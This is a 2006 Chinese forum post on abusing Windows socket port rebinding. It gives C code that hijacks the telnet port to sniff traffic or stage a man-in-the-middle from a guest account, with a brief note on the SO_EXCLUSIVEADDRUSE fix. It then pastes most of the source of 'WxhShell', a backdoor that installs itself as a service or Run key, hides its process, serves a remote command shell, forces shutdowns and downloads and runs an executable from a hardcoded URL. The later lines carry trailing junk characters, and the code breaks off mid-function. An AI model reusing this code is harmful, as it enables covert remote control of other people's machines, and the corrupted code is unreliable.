[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; vR$[#`X
if(chr[0]==0xd || chr[0]==0xa) { v'`VyXetl
pwd=0; YTH3t] &
break; ?@"F\Bv<h
} >-EJLa
i++; o'Q"
} ismx evD
R5M/Ho 4
// 如果是非法用户，关闭 socket vmW >$P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AD_RU_a9
} &'{6_-kh
@=CN#D12
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $ M?VJ\8
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;.$AhjqiP
o6LeC*
while(1) { ykFm$ 0m+I
;Fw{p{7<
ZeroMemory(cmd,KEY_BUFF); W Z'UVUi8
[(Z{5gK
// 自动支持客户端 telnet标准 aLZza"W
j=0; fBtTJ+51}
while(j<KEY_BUFF) { $ ?ayE
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #{-l(016y
cmd[j]=chr[0]; Nn/me
if(chr[0]==0xa || chr[0]==0xd) { Q<4Sd:P`"
cmd[j]=0; 3>60_:+Zb
break; TmI~P+5w
} 9!CD25u
j++; }>`rf{T
} h-)tWJ c
AQAZ+g(IK
// 下载文件 x-0O3IIE
if(strstr(cmd,"http://")) { zfS0M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u7Z-kZ
if(DownloadFile(cmd,wsh)) Jz"Yb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kHWh8\b:
else g!/O)X3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -M\ae
} jL^3/0"o
else { -^C^3pms
B=vBJC)
switch(cmd[0]) { *@;Pns]L-
@\ udaZc
// 帮助 {=3&_/9s){
case '?': { _]oNbcbt(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }:QQ{h_
break; EA#{N<
} yRd[$p
// 安装 0oT~6BGm
case 'i': { <c;U 0! m
if(Install()) ,)u1r3@I^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l$1 ]
else Qs\m"yx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QOT|6)Yb
break; jWpm"C
} Ms>CO7Nvy
// 卸载 ;T-`~
case 'r': { $kAal26z
if(Uninstall()) Fy#y.jK9v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YY4XCkt
else l&JV.}qGB8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NuEcTww
break; IjaFNZZC!
} s~i73Qk/
// 显示 wxhshell 所在路径 O su 75@3
case 'p': { NflwmMJ
char svExeFile[MAX_PATH]; 4tA`,}ywPq
strcpy(svExeFile,"\n\r"); ?1afW)`a.v
strcat(svExeFile,ExeFile); 8wH1x .
send(wsh,svExeFile,strlen(svExeFile),0); U;w| =vM
break; rbw~Ml0
} ;{j@ia
// 重启 )B$Uo,1
case 'b': { +T8h jOkC
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MkK6.qV\z
if(Boot(REBOOT)) prw% )#,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M&SY2\\TB
else { /ka "YU
closesocket(wsh); 3UgPVCT
ExitThread(0); ]^>RBegJBO
} #&sw%CD
break; J]ri|a
} "2_nN]%u-
// 关机 w678
case 'd': { wl Nl|+ K
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4(mRLr%l@`
if(Boot(SHUTDOWN)) jJ7"9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=[N{N?(
else { M2Zk1Z
closesocket(wsh); `st^i$A
ExitThread(0); @W.0YU0|J
} WR zIK09@
break; 0f;`Zj0l8
} ' JAcN@q~z
// 获取shell R+<M"LriR&
case 's': { 0RF<:9@x2
CmdShell(wsh); 3J}/<&wv
closesocket(wsh); j&l2n2z
ExitThread(0); i Qa=4'9;
break; 7<zI'^l
} 2>F`H7W
// 退出 4"et4Y7
case 'x': { -~TgA*_5]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1#V&'A
CloseIt(wsh); a=r^?q'/
break; AiUK#I
} -&0HAtc
// 离开 ^$;5ZkQy
case 'q': { O[5u6heNMr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); xG8z4Yu
closesocket(wsh); `{+aJ0<S
WSACleanup(); "%dok@v
exit(1); G|LcTV
break; iUOGuiP
} 4>Y\Y$3
} pP*`b<|
} 87OX:6
wh#x`Nc
// 提示信息 7b hJt_`Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q/dja
} qVr?st
} deqL
&-(p~[|
return; B'-L-]\H
} Sz0CP1WB
vx4Jk]h+=L
// shell模块句柄 1J[|Ow
int CmdShell(SOCKET sock) 6#(rWW"_
{ Ir$:e*E>
STARTUPINFO si; i1-wzI
ZeroMemory(&si,sizeof(si)); 11BfJvs:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Oe9Zq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?gl[=NV
PROCESS_INFORMATION ProcessInfo; `dm}|$X|
char cmdline[]="cmd"; }NF7"tOL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?vocI
return 0; B$&&'i%
} rRd8W}B
!/6KQdF
// 自身启动模式 r|JZU
int StartFromService(void) lPOcX'3\
{ N-<m/RS
typedef struct tjt#2i8/
{ )NCSO b
DWORD ExitStatus; U Y')|2y 5
DWORD PebBaseAddress; ?%wM8?
DWORD AffinityMask; )+v'@]r
DWORD BasePriority; kz?m `~1
ULONG UniqueProcessId; <:Z-zQp)?
ULONG InheritedFromUniqueProcessId; a!*K)x,"<
} PROCESS_BASIC_INFORMATION; W6L}T,epX
^laf!kIP
PROCNTQSIP NtQueryInformationProcess; d ~3GEK
OE_>Kw7q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <s(<ax30
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D$PR<>=y
-8D$[@y(
HANDLE hProcess; @Yy']!Ju
PROCESS_BASIC_INFORMATION pbi; oZ"93]3-
rhvTV(Bz
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iTg7@%
if(NULL == hInst ) return 0; .qG*$W2f
HT6+OK(~dJ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )R]gJ_,c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;'xd8Jf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QP0[
b.sRB1
if (!NtQueryInformationProcess) return 0; Sn~|<Vf
*w_f-YoXp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *m9,_~t
if(!hProcess) return 0; (b4;c=<[{
l1wYN,rv
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3f^~mTY9>]
`1qM Sq
CloseHandle(hProcess); a<ztA:xt|1
EABy<i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V=DT.u
if(hProcess==NULL) return 0; s u)AIvF{
GUqhm$6a
HMODULE hMod; Bq)aA)gF
char procName[255]; D?<R5zp
unsigned long cbNeeded; #I|jFn9
~76qFZe-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {9yW8&m
~[d|:]
CloseHandle(hProcess); =(U&?1R4
+Xjevg6DU
if(strstr(procName,"services")) return 1; // 以服务启动 GVt}\e~"
&*r'Sx)V
return 0; // 注册表启动 -yH8bm'0"
} Rr0@F`"R
b3RCsIz
// 主模块 @5y ~A}Vd
int StartWxhshell(LPSTR lpCmdLine) >!7\Rx
{ gNoQ[xFx32
SOCKET wsl; Wu9))Ir
BOOL val=TRUE; #Z.2g].
int port=0; DHnu F@M
struct sockaddr_in door; [J71aH
K=`;D
if(wscfg.ws_autoins) Install(); K)d]3V!
$7bl,~Z
port=atoi(lpCmdLine); I||4.YT
Z?}yPsOb
if(port<=0) port=wscfg.ws_port; 5Sm)+FC:
E0Neo _7
WSADATA data; L1i:hgq0]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L[s8`0
Ws>2S
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bEz1@"~ p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^&mJDRe
door.sin_family = AF_INET; 78[5@U
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ; OpN&q+
door.sin_port = htons(port); V<+=t{
jQc.@^#+x
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _:Jra
closesocket(wsl); Cm5:_K`;]
return 1; 9gLUM$Kd
} zu@5,AH
H^<LnYZ
if(listen(wsl,2) == INVALID_SOCKET) { m)aNuQvy:Z
closesocket(wsl); |d B`URP
return 1; wC~ra:/?:7
} M_Qv{
Wxhshell(wsl); aN/0'V|&ym
WSACleanup(); >P/Nb]C
#r ;;d(
return 0; s^n}m#T
c<PML|e
} *Ou)P9~-L
K3WhF
// 以NT服务方式启动 ! 9U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AUk,sCxd
{ )O~V3a
DWORD status = 0; 3bGJ?hpp
DWORD specificError = 0xfffffff; #s-^4znv9
W=9Zl(2C
serviceStatus.dwServiceType = SERVICE_WIN32; 69o,T`B
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M^E\L C
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F{g^4
serviceStatus.dwWin32ExitCode = 0; F;Lg w^1!
serviceStatus.dwServiceSpecificExitCode = 0; )TmqE<[
serviceStatus.dwCheckPoint = 0; S-8wL%r
serviceStatus.dwWaitHint = 0; D_HE!fl
R6N+c\W
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SREe, e\
if (hServiceStatusHandle==0) return; d0;$k,
*/|Vyp-
status = GetLastError(); },d`<^~
if (status!=NO_ERROR) Wxi|(}
{ XM+o e0:[
serviceStatus.dwCurrentState = SERVICE_STOPPED; AV%?8-
serviceStatus.dwCheckPoint = 0; Zw)*+> +FV
serviceStatus.dwWaitHint = 0; TH`zp]0
serviceStatus.dwWin32ExitCode = status; Q UQ"2oC
serviceStatus.dwServiceSpecificExitCode = specificError; &!y7PWHJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;}tEU'&
return; gm-I)z!tz
} hr+,-j
fY|Bc<,V9)
serviceStatus.dwCurrentState = SERVICE_RUNNING; [BH^SvE
serviceStatus.dwCheckPoint = 0; \G3P[E[
serviceStatus.dwWaitHint = 0; ,<^7~d{{3m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wc3OOyP@0
} V>{G$(v$
S~8w-lG!
// 处理NT服务事件，比如：启动、停止 _::q S!
VOID WINAPI NTServiceHandler(DWORD fdwControl) PFqc_!Pm
{ urlwn*!^s
switch(fdwControl) uG|d7LS,%
{ SG&VZY
case SERVICE_CONTROL_STOP: ]8}+%P,Q
serviceStatus.dwWin32ExitCode = 0; C)7T'[
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,s%1#cbR
serviceStatus.dwCheckPoint = 0; 'THcO*<
serviceStatus.dwWaitHint = 0; xm)s%"6n
{ 9(9+h]h+3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ];-DqK'
} uB(16|W>S
return; 4k HFfc
case SERVICE_CONTROL_PAUSE: WcCJ;z:S?k
serviceStatus.dwCurrentState = SERVICE_PAUSED; GTj=R$%09
break; _h% :Tu
case SERVICE_CONTROL_CONTINUE: d6$,iw@>^
serviceStatus.dwCurrentState = SERVICE_RUNNING; \(nb >K
break; 69 PTo
case SERVICE_CONTROL_INTERROGATE: 73-*|@6
break; gaK m`#
}; 19Cs 3B\4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hPCt-
} u,zA^%
BFU6?\r
// 标准应用程序主函数 FS3MR9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F:PaVr3q
{ pjC2jlwm*
r'kUU]j9
// 获取操作系统版本 ^w0V{qF{
OsIsNt=GetOsVer(); D 8nt%vy
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xq3n7d.
&GF|Rr8NXs
// 从命令行安装 z7[TgL7
if(strpbrk(lpCmdLine,"iI")) Install(); >&@hm4
56;(mbW
// 下载执行文件 Q?f%]uGFQ
if(wscfg.ws_downexe) { hSxlj7Eo^T
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i6"/GSA
